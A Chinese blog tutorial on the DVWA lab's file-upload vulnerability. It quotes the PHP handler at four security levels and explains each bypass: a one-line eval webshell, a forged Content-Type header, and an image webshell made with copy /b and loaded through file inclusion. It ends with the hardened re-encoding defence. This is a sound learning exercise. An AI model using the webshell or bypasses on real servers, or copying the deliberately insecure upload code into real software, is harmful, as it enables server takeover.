关于那些Web漏洞--文件上传

friEnd`

于 2022-06-16 01:15:16 发布

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分类专栏：漏洞原理文章标签： web安全

本文链接：https://blog.csdn.net/shawdow_bug/article/details/125308218

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Low

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>

basename($string[, $suffix])：返回路径中的文件名部分。如果文件名是以 suffix 结束的，那这一部分也会被去掉。
move_uploaded_file($filename, $destination)：将上传的文件移动到新位置。
$_FILES：
1、$_FILES[“file”][“name”] - 被上传文件的名称
2、$_FILES[“file”][“type”] - 被上传文件的类型
3、$_FILES[“file”][“size”] - 被上传文件的大小，以字节计
4、$_FILES[“file”][“tmp_name”] - 存储在服务器的文件的临时副本的名称
5、$_FILES[“file”][“error”] - 由文件上传导致的错误代码
第一个参数为表单中的input name。

完全没有安全检查，直接上传webshell：

// shell.php
<?php eval($_POST['key']);?>

Medium

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

这次检查两个参数：$_FILES[‘uploaded’][‘type’]和$_FILES[‘uploaded’][‘size’]，这里只考虑$_FILES[‘uploaded’][‘type’]即可。
绕过方法：修改http报文中的content-type。
上传一个php脚本文件，然后burpsuite捕获报文，修改其中的content-type为"image/jpeg"或者"image/png"，最后发送。

High

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
        echo $_FILES['uploaded']['name'];
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

getimagesize($filename)：取得图像大小。如果不能访问 filename 指定的图像或者其不是有效的图像，getimagesize() 将返回 FALSE 并产生一条 E_WARNING 级的错误。

增加了对后缀名的检查，网上说在php<5.3.4的环境下，可以用%00截断绕过，本人在phpstudy中切换版本时没能复现成功。这里只好上传一个图片马，图片马的制作：
（1）copy /b a.jpg+b.php c.jpg；（2）文本编辑器中在图片最后插入脚本。
上传成功后，再利用文件包含漏洞，将图片马包含进来就能解析里面的php脚本。文件包含时，可能遇到语法解析错误，对于jpg格式的图片，可以直接删除错误行所在的数据块。

Impossible

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    echo getcwd();
        echo "<br/>".DVWA_WEB_PAGE_TO_ROOT;
    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

1、uniqid()：获取一个带前缀、基于当前时间微秒数的唯一ID。
2、ini_get()：获取一个配置选项的值。
3、sys_get_temp_dir()：返回 PHP 储存临时文件的默认目录的路径。
4、imagecreatefromjpeg() / imagecreatefrompng()：由文件或 URL 创建一个新图象。成功返回一图像标识符，代表了从给定的文件名取得的图像。
5、imagejpeg(resource $image [, string $filename ]) / imagepng()：以 JPEG/PNG 格式将图像输出到浏览器或文件。将 GD 图像流（image）以 JPEG / PNG 格式输出到标准输出（通常为浏览器），或者如果用 filename 给出了文件名则将其输出到该文件。
6、imagedestroy($image)：销毁一图像，释放与 image 关联的内存。
7、unlink($filename)：删除文件。
8、rename($oldname，$newname)：重命名一个文件或目录。（移动并重命名）
9、getcwd()：取得当前工作目录。

除了检查后缀名，还对文件进行重命名，即使上传了图片，也找不到文件所在位置，因而也就无法利用了。